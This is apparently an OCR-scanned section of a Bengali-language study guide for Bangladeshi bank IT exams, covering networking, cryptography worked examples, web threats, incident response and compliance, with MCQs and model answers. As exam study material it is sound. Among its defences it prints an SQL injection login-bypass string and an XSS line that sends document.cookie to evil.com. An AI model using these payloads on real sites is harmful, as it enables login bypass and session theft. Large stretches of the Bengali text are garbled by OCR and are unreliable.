5. Cache @IfS®I9: ipconfig /flushdns; hosts 13T ( C:\Windows\System32\drivers\etc\hosts ) g«
entry =ty <5 =11
6. STAIYI: < DNS (AfS$Haa internal DNS a1 8.8.8.8/1.1.1.1) (16 64 AT ipconfig /release 8
/renew At DHCP (/T 79 setting f4; DNS server service biej 4|
7. q618: nslookup 8 browser T =g FIFHT|

SR 2I%S (6 (ATF ©9ITF): ping 127.0.08.1 (TCP/IP stack) — fAte IP — default gateway —
8.8.8.8 = nslookup — tracert (I hop-4 WEFHITHR)I
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Q.59 STIFCAA 8 FHIIHT A

Standard i 1
802.3 Ethernet CSMA/CD
802.11 Wi-Fi (WLAN) CSMA/CA; a/b/g/n (Wi-Fi 4)/ac (Wi-Fi 5)/ax (Wi-Fi 6)/be (Wi-Fi 7)

802.15.1 Bluetooth (WPAN) 802.15.4 = Zigbee
802.16 WiMAX (WMAN) JIETMe*T Banglalion, Qubee I1R%IF 5399
802.1Q VLAN tagging 802.1D = STP, 802.1X = port-based authentication

Wi-Fi fS=arorar: WEP (S1et) —» WPA — WPA2 (AES-CCMP) — WPAS3 (SAE)| I78tF =S Wi-Fi stiermt VLAN-@
AT AT |

Q.58 MCQ St

1. OSI FTGLAF (FIH J9 routing FI?

() Network (4) Transport
() Data Link (20) Session

T@d: (F) — Router Layer 3-(5 IS I

2. IPv4 address ¥© bit-a9?
()16 (4) 32
(s7) 64 () 128

Tad: (Y) — IPV6 XTI 128 bit

3. 8.8.8.8 ping =% 5@ www.google.com (4ITa Tt — FFIT FHAN?
(F) ISP gateway () DNS
(s1) Cable (=) DHCP

Tad: (W) — T — [P Foisa ]

4. SSH-a9 standard TCP port $9?
() 21 (q) 22
(s1) 23 (%) 25
eq: (4) — 21 FTP, 23 Telnet, 25 SMTP|

5. Email client (TS server-a SIS T port CAIA AFTS FI?
() 2531 587 (2110
(o) 143 (%) 443

e (F) — 110/143 email &= (POP3/IMAP)|
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. Email &3¢ (receive) S (FI9 protocol?

() SMTP (¥) IMAP
(sf) SNMP () FTP
&G3: (4) — IMAP 1 POP3|

. Workstation (TS server 2@ packet (FI ol T (4T §ea?
() traceroute (¥) dig
(57) ping (9) route

Taq; () — Windows-a tracert!

. NAT-a37 J&T Sty F1?
() MAC-GZ IP-(S Si9II8] (¥) private IP-& public IP-(S T8I
(51) T9-GF IP-(S TS () CBBT encrypt 1

GG3: (4) — PAT-@ I2 host a3 public IP S5t S|

. 192.168.1.0/26-4 S subnet-Q F[IZIFTIISHT host Fo?
(=) 30 (¥) 62
(s7) 64 () 126

Tex: (4) — 20 -2 =621

10. 172.20.5.9 (19 449t44 address?

(%) Public Class B (4) Private Class B
(sY) Private Class A (9) Loopback

T8 (4) — 172.16.0.0-172.31.255.255 privatel

11. IPv6-Q ARP-99F FIE1 (& FHJ?

() RARP (¥) NDP
(sf) DHCPVv6 (7) ICMPV4
Taq: (4) — Neighbor Discovery Protocol (ICMPv6)I

12. Layer-2 switching loop &ifStaty 3 &I protocol?
() OSPF () STP
(s1) VTP () HSRP

T@q: () — redundant port block FF loop-J& tree I

13. Analog CCTV FJITHat AT TS (FIF9 cable?

() UTP Cat6 (4) Coaxial (RG-59)
(s7) Single-mode fiber (9) USB

@ (4) — BNC connector-31% coax; IP et 3tef UTP/PoE|
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14. Networking-a throughput It Ft QIRITT?

(FF) Link-97 SIfgss 16 F9ot (2) IS T AN TFTONR GBI (GO “AifFrer
(s1) @5 packet ffRIts STI7 (9) TFIAT packet-9F I

T8 (¥) — () ;T bandwidth, (51) latency!|

15. 802.16 FI9 Yf&A standard?
(=) Wi-Fi (9) Bluetooth
(s) WiMAX () Ethernet

Taq; (51) — 802.11 Wi-Fi, 802.3 Ethernetl
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WL v — ©AT 8 AR f[Ha1orat

Information & Cyber Security

I O ARSI SCET FTIA e [, ©1R 2AfS (5B FHG &% AMs: BB AP 2023 (Diffie-
Hellman MitM, end-to-end encryption-a3 <), BB AME 2023 (payment gateway audit), AME/AE
24.01.2026 (shared superuser password 8 backup compliance), AME 2026 (S=1e1J& outbound traffic,
zero-day), SO IT 2026 (hashing I encryption), Officer IT 2026 (SQLIi/XSS, virus 91 worm), ANSE 2026
(firewall/IDS/IPS, ransomware, MitM, DAI)| ersrestett 2133 nefee «ifaf3fs oy soner — Ses s
SuRRel i |

b.> Giifeiss gigelt: CIA Triad, AAA 8 fRaget

Confidentiality

TSl encryption, access conxgl
HWYFSI: hash, digital signature
#f9irst: backup, redundancy, DDoS J351

Integrity Availability

5@ v.5: CIA Triad

s 12 F1efFe SureRe e

Confidentiality S=gI® (S B MATS 8131 balance, PIN data leak, sniffing
AT

Integrity TAITToOE ST INAAT transfer amount 5,000 (AT 5,00,000 MitM tampering,
I AT B SQLi

Availability ATIIGHI T OI]A 2MNST AT ATM/internet banking :8x9 DDoS, ransomware

Non-repudiation: (27F T TRFIF FACO AR 1 (T GT IS/ (A “fdtacz — digital signature ey
fAf*5s 37 (Officer IT MCQ 2026)1 AAA: Authentication (R & — password, OTP, biometrics),
Authorization (R Ft FFCo 21 — role/permission), Accounting/Auditing (YN =37 — log)|
Authentication factor: g =t @iitat (password), g T Wty (token/OTP-cFIF), g T Y (|NGTAT =1+1) —
73 J1 Srolfes Ntet MFA|

Administrative (managerial) fRrerat MifS, user training, background check, separation of duties
Technical (logical) encryption, firewall, IDS, MFA, antivirus, ACL
Physical security guard, CCTV, biometric door lock, 5, smart card ez GI=st
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e W Preventive (firewall), Detective (IDS, CCTV), Corrective (backup restore, patch), Deterrent
(STe<6TST), Compensating|l

ARG
Least privilege — STOIPE FIGF G 90N HiFHIF| Separation of duties — maker 8 checker
el [ (I A AJeImcad fofe) | Defense in depth — QFISF BEF I

v.2 fFobtafs
IERE Symmetric Asymmetric (Public key)
Key a3T6 shared secret key 9fB: public (19 T=Y) + private
(QkE))
sifS S — JG (GBI G 17 — key exchange, signature-
aF Oy
ST key fAarorm Rsget 3; n &= =5 n(n-1)/2 key Q& computation

Algorithm DES (56-bit, @4+ 7Ze1), 3DES, AES (128/192/256-bit, block 128), RSA, Diffie-Hellman, ECC, DSA,
Blowfish, RC4 ElGamal

W hybrid: TLS-a asymmetric T @B session key R, S AES fc w6t encryptl

Tulzact: RSA (C2IB i)

.9 prime:p=3,q=11—->n=pxq=33

2. ¢(n) = (p-1)(g-1)=2x10=20

v, e Qg AT TTO ged(e, 20)=1 > e =3
8.d:exd=1(mod20)—>3x7=21=1—>d=7
Public key = (e, n) = (3, 33); Private key = (d, n) = (7, 33)

Encrypt M = 4: C = M€ mod n = 43 mod 33 = 64 mod 33 = 31
Decrypt: M = C9modn=31" mod33131=-2 (mod 33) —» (—2)7 =-128=-128+132=4¢

Diffie-Hellman Key Exchange

DH Mt 13 #1% WAV ST (FIT (sioiT S0 71 2133 a6 shared secret key (of3 3| Farerar fRdg
wd discrete logarithm ST S0 @91

Public: prime g, primitive root a | Y, =aXAmod g, Yg = aXe mod q

K = YgXA mod q = Y,X8 mod q = a*~Xe mod q
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Tumgad: q=23,a=5

Alice-a3 private X, =6 — Y5 =50 mod 23152=25=2,54=4,50=4x2=8

Bob-@ private Xg = 15 — Yg = 5'°> mod 23158 = 16, 51 = 58.54.52.5 = 16:4-2:5 = 640 = 640 - 621 = 19
Alice: K = 19% mod 23 = (-4)® = 4096 mod 23 = 4096 - 4094 = 2

Bob: K=8""mod 23182=18,84=2,8%=4-8'"=42188=1152=1152 - 1150 = 2 v/ S&wxd key =
21

fIsts o BB AP 2023
Describe a Man-in-the-middle attack on the Diffie-Hellman key exchange protocol in which the adversary

generates two public key pairs for the attack.

T@a: Glif DH-A &ItAT authentication (33 — &S B3 T A1 (T &A1Y public key WSS 9T
ATHI | WIFHIBIF Darth Q3 GATST FICST AST:

Xp1r Xoy = Yprr IYDZ (f% key pair)
@Y, (BB >

@Y, (Alice-a3 1)

>
® Y, (BT :

@ Y, (Bob-ag o)

K2 =Y AX K2 =YX,

Alice-Darth st 2 K2; Darth-Bob ®ist ¢ K1
1

5@ v.x: Diffie-Hellman-a3 8917 Man-in-the-Middle Srr@ef
1. Darth 9fG private key Xp1, Xp, J1fAca 51538 public key Yp+, Yp, 25T =1

2. Alice ST Y5 Bob-(F #1131 Darth SIBIs (7 @2 Bob-(F #TSI Yy | Darth 35717 0 K2 = (Y,)02
mod q|
3. Bob I Yp Alice-a3; &1 3511 S K1 = (Yp4)*8 mod q

4. Bob 1 Yg 2I15TT; Darth WIS Alice-(F #TSIT Y, @32 fF51 S K1 = (Yg)*01 mod q
5. Alice 331 3 K2 = (Yp,)*A mod q

TAIFa: Alice 8 Bob JH X O QF6 (511911 key ©Tst FA07, WG Alice-Darth-a3d key K2 @3) Bob-
Darth-a3 key K11 Alice-a3 ISt Darth K2 Gt Ytet It (It Iwetrs), K1 i SR encrypt 33 Bob-&
T — (S (B 2T 1 Confidentiality 8 integrity 7513 F8|

aifStaty: public key-F authenticate 1 — digital signature/certificate (PKI) fat signed DH,
Station-to-Station (STS) protocol, It TLS-A server certificate TB1®1 Out-of-band fingerprint fifeca
|
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Hashing 3915 Encryption

faste o so 1T 2026 (25104)

Explain the operational difference between Hashing and Encryption.

ISRk Hashing Encryption

s One-way — & (GBI (FIS N1 T 1 Two-way — key At decrypt ¢ &1
(BT SNST T

Key =St 91 (HMAC-@ key 1TF) SIS (symmetric It public/private)

Output 3996 T© 63 (®IF, BT (SHA-256 — 256 bit) SIIFTS 3BT TN T IR

oy

CleLl Integrity 613, password Ie Confidentiality — csto/Srot

TurRef MD5 (Shet), SHA-1 (3eT), SHA-256, berypt AES, RSA, 3DES

BINER SR password salt + hash T A4, FI3e card data, (TR IS ATSITAT

IRRIF TReAetGd checksum

Hash-a3 (f#185: deterministic, 7o, (&5 #IfIIS so9<f f$7 output (avalanche effect), collision-
resistantl

Digital Signature, Certificate 8 TLS

* Digital signature: (27 1919 hash fRteR private key T sign F0F; 21916 (29 public key e
613 FE | (MT authentication, integrity 8 non-repudiation (confidentiality 7)1

* Digital certificate (X.509): a6 public key 19 — T CA (Certificate Authority) sign FF 2orEH I |
AT CA-iF =gt ¢ CCA (Controller of Certifying Authorities)l a3 9 T FISITHITE PKI I |

e HTTPS = HTTP + TLS (port 443): TLS handshake-a server certificate 613, key exchange (ECDHE),
S AES T encrypt| HTTPS fR&r#w 1< encryption 8 server authentication (Officer IT MCQ
2026)1 SSL #FT @ JIfSeT; 65+ TLS 1.2/1.31

b.© WIEHATIT 499

S Ft afStary

Phishing T email/SMS/ ST AT password, OTP, card 525 siteoet 2Af*rsse, email filtering,
TSI, spear phishing = Af® 3%, whaling = ©%2wg  DMARC/SPF, MFA

Social WY R/ FITS ASIEAT — "JPRF (*F I, OTP User training (IRC60T IEFR), 613

engineering =" e

DoS / DDoS oI traffic M <19t =16 (availability Sr@ser); rate limiting, CDN/scrubbing,
DDoS =3 botnet (ItF firewall, auto-scaling

Brute-force IR 7] password (GBT account lockout, CAPTCHA, =If&=at

password
Dictionary 6T #1397/ 26T password-aF Sifersr Mo 3t ifet password S, salt + slow
attack hash
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Ransomware 134 encrypt I Jiesie nify

Zero-day ST, QYT patch (73 G q{eTorg Girget
Spoofing IP/MAC/email/ARP #3530 et a1
Sniffing FBSANHR packet R I et

faste o ANSE 2026

offline backup, patch, EDR, network
segmentation

defense in depth, behaviour-based
detection, virtual patching (WAF)

DA, ingress filtering, SPF/DKIM

encryption (TLS, SSH), switch port
security

Explain how a Man-in-the-Middle (MitM) attack can compromise banking transactions. Discuss the

preventive measures required to mitigate such attacks.

FISIT B: AFAAFIA S7F 8 ITCFF server-aF AT 0T Y3 ATHT S AT FRCTST I | AES:
GI/¢ATeTT Wi-Fi hotspot, ARP spoofing (LAN-@ fRtess gateway f2e1ta araizat), DNS spoofing
(bank.com — T IP), SSL stripping (HTTPS-& HTTP-(S FINICAT), T certificate, IrSetd malware

(Man-in-the-Browser)|

FefFe sFS: login credential 8@ OTP §fS; (AT &191F account F9F 8 WF (ST IWAIAT (integrity

7B); session hijacking FCF AT A (AW, card SAT HI|

ffStas:

e SAQ TLS 1.2+ @I HSTS (JNGTIE AT HTTPS =TI 143 F¢d); mobile app-a certificate

pinning|

MFA 8 transaction signing — OTP-(S 219/ 8 W& (MYIHT, TS Ine 4T AATT|
LAN-@a Dynamic ARP Inspection, DHCP snooping, 802.1X; DNSSECI
YRS FHOR Gy VPN; TS Wi-Fi-(S IR 71 A0 15 STooFoT |

* Fraud monitoring — S=TSIfIF device/location/STs AT (T STGIICAT |
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fAsS ot officer IT 2026 (25105)
Describe the SQL Injection and Cross-Site Scripting (XSS) web security threats and suggest preventive
measures for each.

SQL Injection: 35T 379{5 TIB13 T I FINT SQL query-cS TS et Sawesial fFrea SQL e
¥ — login bypass, ?[taT database 21T, (7 (Fel|

__Wm

guery = "SELECT * FROM users WHERE user='" + u + "' AND pass='" + p + "'";

-- W9 vy = ' OR '1'='1" --

SELECT * FROM users WHERE user='' OR '1'='1' --' AND pass='...' -- IJNY 99y, login
bypass

-- f9=om: parameterized query / prepared statement (Java)
PreparedStatement ps = con.prepareStatement(

"SELECT * FROM users WHERE user = ? AND pass_hash = ?");
ps.setString(1, u); ps.setString(2, hash(p));

2fStare: prepared statement/parameterized query, stored procedure, 3795 validation (whitelist),
ORM, DB account-4 least privilege, WAF, 67 IMSTT DB O 7 1T (LITAT |

XSS: WEHIFIA SIS F61 JavaScript TIRFET T, T &) ISGIET IR BleT —
cookie/session §1% g login form MeItaTI 439: Stored (database-&a 1, (T34 comment), Reflected
(URL parameter (At<s), DOM-based |

<l-- comment @ WEHENIFF fAget -->
<script>fetch('https://evil.com/?c="' + document.cookie)</script>

oifStata: output encoding/escaping (< — &Lt; ), 379]B sanitization, Content Security Policy (CSP),
cookie-cS HttpOnly 8 Secure flag, =g framework-a3 auto-escaping|

CSRF (Cross-Site Request Forgery): &51-37 WIRI AT SN M WSS T ARG (ATE WA
TSI (TN TS GISTHIF) | 2AfSRTeE: CSRF token, SameSite cookie, @3g2ief FITTT 2T authentication|
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Malware

faste o5 Officer IT 2026 (25105)

Differentiate between a Computer Virus and a Computer Worm based on how they spread and replicate
across host networks.

IEpE Virus Worm

Host It — &7y HI3eA/program-a3 MR ATGE gre a1 — ;T (standalone) program

ARG Wy

RGICAT OGN WIFS BIRSA BT/ I FACA (VT (BSTHT geTo! e i1y fHeer e

STIRIS «ATTHY) RO

St host 13T 5eTtet TG i Sy BIRCE (GBI FIRIFTOIE 9F FENTHIF (A ANIFBTS
o 2A1SI

ifS QAN J 43 %o, bandwidth (4TI

TrRge CIH, Melissa (macro virus) WannaCry (SMB w&&wt), Conficker,
ILOVEYOU

3T Trojan — 7RI TPBOWIET T, [Hte 2o 71; Spyware/Keylogger — S (5191t SATSTT;
Rootkit — RTea SRS 1T, Botnet — WFW FASHIRT we, DD0S-a I9%S, Logic bomb —
e =S wifae
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ARP Spoofing 8 Dynamic ARP Inspection

faste o ANSE 2026

What is Dynamic ARP Inspection (DAI)? Explain how it prevents ARP spoofing attacks using the DHCP
snooping binding database.

ARP spoofing: ARP-& (&It authentication (731 Sr&NeIFIRT T ARP reply (gratuitous ARP) 25T
"gateway 192.168.1.1-93 MAC =151 MAC" | g&ter N ARP cache e =37 W3R 511 traffic
SENFIF L T I — MitM 31 DoS|

DAI 3! switch-93 @36 fAarerat ¢taf¥187 I untrusted port-Q T &fSS ARP packet TM613 F=:

1. &Y switch-9 DHCP snooping 51s] 1 371 DHCP server (T port-a, Gift trusted; 3& port
untrusted | Switch &if$fS sTe1 DHCP lease oitd {6 binding table =T MAC - IP - VLAN - port
- lease timel

2. Untrusted port-a ARP packet 4t DAI ©1F sender IP @ sender MAC @3 binding table-a3 st
ffeicr omea

3. fNetet forward ¢q; 7t Sie1te drop 3 W3R log I (ATSH port err-disable)

4. Static IP-3 fSSI307d Ty ARP ACL ftl =1t binding (1t 1 =F; trusted port (uplink) J613 RIG13
5T | SIS rate-limit (97 15 pps) ARP flood (511

B0 WIENIFIGT gateway-F IP-F STieal fArerd MAC wif $3t78 binding table-a fetg 91 — ARP
spoofing 3|

Switch(config)# ip dhcp snooping
Switch(config)# ip dhcp snooping vlan 10
Switch(config)# ip arp inspection vlan 10
Switch(config)# interface g0/1
Switch(config-if)# ip dhcp snooping trust
Switch(config-if)# ip arp inspection trust
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v.8 (IGSTIS JT5!: Firewall, IDS, IPS, DMZ, VPN

fasto o ANSE 2026

Differentiate between a firewall, an Intrusion Detection System (IDS), and an Intrusion Prevention System
(IPS).

IERE Firewall IDS IPS

T PG 5319 (IP, port, protocol, app) FoFT FIAFA #F I TS I FRSFTOER
I traffic SgNfS/ret o I ook

CEED oS AN (inline) out-of-band — trafficcag %  inline — traffic ©Ia &y

@ (SPAN port) SRR
2@5% Preventive Detective (passive) Preventive (active)
AfSf@mr  allow/deny alert, log packet drop, session
reset, IP block

ClGE g 3w o1 I3 Fh00 AF false positive 8y WfSIe alert  false positive (3% traffic

oo G

Detection packet header/state Signature-based (SHT ®i&@w <) 8 Anomaly-based

(@R @ [RPFS — zero-day &FTo 75HW)

Firewall-a3 39: Packet filter — Stateful inspection — Application/Proxy — NGFW (firewall + IPS +
application awareness)| Web application 5% WAF | S11gf4s NGFW-a firewall @ IPS QST A1CF |

Internal LAN
CBS, DB, 51 PC

Internet Firewall 1 Firewall 2

DMz
Web, Mail, DNS server

5@ v.«v: Dual-firewall DMZ — 137 (115 DMZ 91¥Q SIMC® M, (89@d LAN-a 59

DMZ-93 STw*lJ: (I MGIF IBIAEE (AT access FICO = (internet banking web server, mail) GTSTEAT
AW ([FESTIE AT — GISTEAT hack 0TS WIFHAFI AN internal (ABSTRF/CBS database-Q TFS
ATCT T

VPN: #IIRfaF (F58TIFF @9F encrypted tunnel| Site-to-site (*M4T <> (3G WfH, IPsec) 8 Remote-access
(T — =fHsT, SSL VPN/IPsec)| IPsec-a3 ®e*T: AH (authentication) @ ESP (encryption + authentication);
(I1G: transport 8 tunnel|
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v.¢ End-to-end Encryption 3 (G6Id SI33!

fIsrs &t BB AP 2023

Question about CIA. In order to prevent that, the company decided to add end-to-end encryption
techniques. Which layer of the OSI model is suitable to work in considering parameters like development
time, software maintainability and development cost? Give reasons for your concepts.

€8a: &9 end-to-end encryption-a3 Ty GoRI& 2cett Application layer (3t application-a3 3= e

Presentation/TLS B4, I I\ application-a7 library RGII A=)

» AfSIFItaa end-to-end: (GBI (2[R application-a encrypt TT QIR VY AP application-a
decrypt 31 JIR router, proxy, load balancer, a¥9fF server-8 plaintext (it 11 Network layer
(IPsec) At Data link layer-a encryption ®¢ hop-to-hop 3T gateway-to-gateway — W&IIS! (TG (BB
CATAT ATCF |

* Development time: TLS/OpenSSL, libsodium, Signal protocol-a3 stet 25ifers library SIS
JRRF T T — OS kernel I (6 ST TSIZ7 IneTIte =7 71

* Maintainability: #if3<% 8¢ application code-q; OS/router upgrade 3t fRI¥ hardware 2IGI3
algorithm/key SI+ITGG FT T

* Cost: (TGS AIFIHIHITS TG (73; 9FFF implement FICA A FHSAF (Wi-Fi, mobile,
FBIAB) FIST I

o 7 fAEger: application S &9 (TGB! FE@WAAIS (CTNF 8 PIN, account number) — field-level
encryption 8 digital signature (non-repudiation) (Irsf FJT |

Network layer (IPsec VPN) JR&ea=s 49 < traffic @I JAo F400 27 Q3R application Ineict
W81 79 — g ©f gateway IS, end-to-end FT|

(SO SR ref N ER

Data at rest disk, database, backup Full-disk encryption (BitLocker), database TDE, AES-256,
tape-a IO access control, key management (HSM)

Data in transit @GS TATTATS TLS/HTTPS, IPsec VPN, SSH/SFTP

(motion)

Data in use RAM/CPU-cS Af&Fmaa Confidential computing, memory protection

b.Y G691 79T (Incident Response)

Preparation Detection & Containment, Recovery Lessons
Analysis Eradication Learned

5@ v.8: NIST SP 800-61 Incident Response Gl 6@®

Bank IT Jobs (BB / BSCS: AP, SO-IT, Officer-IT, AME) - Preparation Notes | Page 110/ 185



fQsrS ot ANSE 2026
A ransomware attack affects multiple branches of a bank. Describe the step-by-step incident response
procedures that the IT and cybersecurity teams should follow to contain the attack, eradicate the threat,
and restore normal operations.
1. Preparation (JTst ¢ATS): IR plan 8 wet (CISO, IT, legal, communication), offline/immutable
backup, EDR, SIEM, fRaifse wxwr|
2. Detection & Analysis: ransom note, FIBAT TSI extension, EDR/SIEM alert (AT I |
Ransomware family, &% Si&s (¥4 (patient zero), &A@ (phishing email, RDP, VPN 7o)
8 WIS =YK Sifeis! M1 &5t (memory image, log) STl |
3. Containment (ZSITAT AITAL): &S PC/server ((BSTF (ATF [RF (IF T — memory-3 &1
ANTF); AIS =TT WAN/VPN link ST I; =141 (AP (BT GT61H/CBS-@ T1eT traffic ifve;
AP account disable, 39 privileged password Iw&; ®fo3x IP/domain firewall-a block;
backup SITEN ST FF T
4. Eradication (ﬁ?{ﬁ): malware, persistence (scheduled task, ¥9v admin account), backdoor J1HT;
WS 6T AFHR image (ATF F8%I9F; (T Yol fMtg §rFz ©f patch; 319 endpoint scan|
5. Recovery (J7F%9): T6135 “AKHF backup (ATF (GBI restore (AT CBS, ATM switch, payment
system — ST SYIE); &0 QITet =TT FLTST; FHF AJR NIRRT monitoring | JEsier 7 (rem
S|
6. carsitcatst @ fAeenfe: o1, Bangladesh Bank (f2E<s), BGD e-GOV CIRT, SI3~=S|eil 13T @g
ST ATRHR NS M|
7. Lessons Learned: root cause fRcarge, f{en®, SifS @ fAsrger zrerwsm (MFA, segmentation, &if¥msser)|

fsrs ot Bscs AME 2026

A server suddenly starts sending abnormal traffic to external systems. Analyze the possible cause and
suggest immediate actions.

S FIF: () malware I botnet E@N — server DDoS-@ =* fTBg 1 C2 server-aF S (ST
FACY; () WIS &A@*¥/hacking — data exfiltration (ST B IR 2ASITAD); (©) HTATFS
application (web shell); (8) @1 configuration It @62 script (CTNF ot WG BT backup job); (a)
crypto-mining malwarel

(C) (333 D e e T B

1. Server-(& (68TIFS A f[AfoRg 1 It firewall-@ outbound traffic block (3% 1 @ — are 51|

2. Traffic fRT&FT: netstat -ano / ss -tunp 4TI & process &9 I13EH IP-(S T,
firewall/NetFlow log; st IP-3 reputation JI612

3. BTN process (ps aux, top ), TCURGHP QA service, cron job, startup entry S|

4. User account 8 access log I ( /var/log/auth.log, Event ID 4624/4625) — AQA/HCBAT admin
account|

5. Root cause fR&1ge, malware =915, patch, password IWe; TG ARHR backup (TF 9F5f51

6. Incident RS @ fRR1ora! weTt G=ICAT; SfI=ICS egress filtering @ IDS/SIEM alert fR==|
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faste o1 BScs AME 2026

Zero-day attack; data in transit & data at rest technology.

Zero-day attack XCeTl QN TSI/ ESTIF G0 G T vendor QLT T =1 T T patch (7%
— "zero day" S developer-Jt 5 719 &=y {77 7 (7Itx1C” | Signature-fSf$F antivirus 49 #iita
11 &fStare: behaviour/anomaly-f$féss detection (EDR, NGFW sandbox), least privilege, network
segmentation, application whitelisting, WAF-a virtual patching, s patch management | Suige:
Stuxnet, Log4Shell (SFII S173) | Data at rest 8 in transit-93 SYf&F b.¢-aF BRI

v.q S, wfS6 8 Compliance

fIsIS & BSCS AME/AE 24.01.2026

A bank's internal audit reveals that several employees share a single "Superuser" password to update
customer accounts. Furthermore, the bank's policy requires daily backups, but the audit shows backups
are only being done weekly. (i) Identify the policy violation reqgarding account access. (ii) Explain the
compliance failure regarding the backup schedule. (10)

(i) Access-ad SIS sTeT:

* Unique user ID 8 individual accountability %: aFIf&<s I @6 account =T FAT audit
log-a & P9 SIRGEF account ITCACR ©f e T I A1 — non-repudiation F8, TS 3eet arg
e ors3|

* Least privilege FETH: M update FITSF S superuser (THTH6) WIFHF ST AT

* Password management S ©%: password T Af¥%; (S B RTS8 password ST A

» Separation of duties / maker-checker (%1

* MTMNYN: ATOIHFIF AIeTmT account 8 role-based access (RBAC), privileged account-a3 &=y PAM
(Privileged Access Management) 8 MFA, privileged FIT&id log @ fAf¥s #r=fitaams=|

(ii) Backup-a3 compliance Iy¥et:

o JIfSTe @2 fAwge (daily backup) IBTI SATATST 706 AT — ABI3 compliance failure: TS A=t
control 3 VI HFANAHI N BIF |

o JifS: TS TP RPO (SIRTH6 SRS (6T IR = S i, ifiRF backup-a Rerfs =eet s q
AT (T TS AME — S balance ge1, WA @ W3 %S|

o JIRSITHH PICHFF ICT Security Guideline-a3 backup 8 BCP &S fRTiat sees — A< ifs=t
8 audit observation|

o FLTMNY: FILEFT s backup (T 0 2 * * x /opt/backup.sh), backup SeT TCCR 1
monitoring 3 alert, IS restore test, offsite/DR 136 T+, miftrgane AfS Mfraer
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fsrs ot BB AME 2023
A bank has association with two different service providers as their payment gateways. The bank hires Mr.

X to audit the payment gateway based on risk and threat detection. Which possible scenarios Mr. X will
face?

Mr. X (T SRS/ 1[0 FI:

1. c&B1 fHA19at: card data (PAN, CVV) SISt T 31T 5 @af@ebw? CVV sisasse f9f¥g; tokenization
oty 5 911 92 provider-a3 PCI-DSS compliance SAw ¢34 5 711

2. Integration Jif: API-cS TLS 1.2+, mutual authentication, API key/secret Jaf5 35 T,
callback/webhook F161% (signature) T & 1 — A1 (7 G "payment success" IST ANSITAT TS|

3. A GiiferEifs: amount tampering, replay attack, duplicate transaction, card testing; 3-D
Secure/OTP biej f<s |T; fraud monitoring w1

4. Reconciliation: 73 gateway-3 settlement ot @ pecwa ledger ST oremt =3 5 1 — @i
3 ey wifdl<s %S|

5. Availability 8 vendor Jifs: SLA, uptime, @35 provider 3§ 3t W16 failover, vendor-a3 Ao
fRarerar T @ §f$s *19 (third-party risk)!

6. Access 8 logging: gateway admin panel-Q ST (G, MFA, audit trail 5%, log-4 card
number = AT

7. Vulnerability: penetration test, OWASP Top 10 (SQLi, XSS), ¥5fs patch|

8. fAES compliance: eIt 1FF PSD fNTA4T @ ICT Security Guideline, AML/CFT St
ARG T f[eonfoel

Backup, DR 8 BCP

Backup Iz Backup sifS / sirsit Restore

Full s S JF, & Trrsh ST TS — A6 6

Incremental  GIF (ITHIAT backup-9F 2IF ITAHT  SICECT TS, FF Srgsit 7 — =19 full + 517
(Go! incremental

Differential =¥ full backup-9F #IF AT (BB1 IR (M IToIwIT @19 full + &9 differential
)

3-2-1 A (b oft i+, 1 g7 WMo, of6 offsite (ransomware-a3 =5 Q{6 offline/immutable)l

* RPO (Recovery Point Objective): T8 F© INCIAF (GBI IJAT SRETIIST — backup F© 9 99 &
Refaer 1
* RTO (Recovery Time Objective): RoII7 717 F© NI W&T G- BieY FAC© |

e BCP (Business Continuity Plan) = 9[taT 1311 Bie] I #IfSSg1; DRP (Disaster Recovery Plan) = I IT
[>T | DR site: Hot (ST T3 S0 Bie, 7<), Warm, Cold | IS 518 N1 St I7F e
AT (GBI TBIF (AT 7 oot JifFa W26t DR STRB I14TS 37

b.b TR Yited g Forest 8 Fiwt

¢ Bangladesh Bank ICT Security Guideline (Guideline on ICT Security for Banks and Financial
Institutions; AN 2050, I IT AEIT 2029): ICT governance 3 steering committee, risk
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management, access control (unique ID, password SIS, MFA), change management, data center 3
DR, BCP, backup, network 8 cyber security, incident management, outsourcing/vendor management
a3g [Aafse IS audit IrgTerTaF F|

* PCI-DSS (Payment Card Industry Data Security Standard): card data SIRE=%<l, Sf&r 1 25T Q¥+ 517
ATSHIET Ty 25 I SrreATer — firewall, {6 password 71 14T, cardholder data Y355 3
encryption, antivirus, fRarem fSI56%, need-to-know access, unique ID, physical access, logging, Raf¥s
I3, fNrorar MRS CVV/PIN authorization-a3 #iF eawet g1

o IAIAY: ISO/IEC 27001 (ISMS), SWIFT CSCF (Customer Security Controls Framework), fSf&Get Mareret
AIRAR AT AT fAFIorat S2F 2020

¥ SBIfS: FIATw=t 1T Fes §fF (FFafa 2000)

JIFIAAT LA I (6 STIF malware BT SWIFT credential RISt (9w W32 R837s (Foigs
RS I AT sed> AT TeAngg veft T GIers Fo™ A5 | IS SEHIET GItes b fifem=
Tl T3 RCBC 3713 2 FMAITS G2 &A1 20 fifers ermry o (Siem=it v wie)|
ToA1T6 JTfS- ST BfocE FIter AIf 1 =7; malware SWIFT Alliance software-93 (MR
FFEG @ fAGIT WIEHB (N1 FABe |

st (5) SWIFT 513 wgeid SICoNE Mger (68T (AT WA F4T (segmentation) — RN st
switch 3 firewall 7T FIF FAT S AIH; () privileged account-a MFA 8 TSI RTa; (9) 28x4
monitoring 8 log TS, (8) TNt FIEAN reconciliation; (¢) Tt &f¥ =64 @ phishing Ttee=eT; ()
g3 SWIFT CSP/CSCF Ble] R

v.5 MCQ Sfte

1. 19 SiEN¢t SIfefaw traffic fata Siobw wvet g v ?
() Phishing (¥) DoS
(s7) Spoofing () Sniffing

Tag: () — Availability-7 @17 Sr@we |

2. HTTP-3 ¢5ta HTTPS & [Ratom &2
(=) IP (¥) Encryption
(s) Cookies (99) Proxy

ed: () — TLS McT encryption 8 server authentication|

3. CIAFTF 21T ST ABRAIT FA TAFIT FATS A T — (I GIFAN?
() Confidentiality () Integrity
(57) Non-repudiation (2) Availability
ed: (1) — digital signature e Rfx6® =11

4. Cyber security-cs CIA-7 9j<fmot SI?

() Central Intelligence Agency (¥) Confidentiality, Integrity, Availability
(s") Control, Identity, Access (70) Cipher, Integrity, Authentication
Tag; ()1
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5. fAtea &1916 administrative control?

() Security guard
(s1) Smart card

(¥) User training
(g) Encryption

&@d: () — guard/smart card physical, encryption technicall

6. Social engineering et FTTISIA AfStary Fwa @HG?
(=¢) Firewall (4) Antivirus
(s1) fR=torat sitooe! ffrse (9) Encryption

Taq: (5) — WEFHf TIF T I, AYEFE 71

7. Linux TSIt 423! 2¥ISTHA SATHCT Ao Soiry iaie?
() root Rt Telnet (¥) Password it SSH
(s7) Key-based SSH (8) Unencrypted VNC

T@q: (1) — password brute-force 3 2t 1
8. Dictionary attack $I?

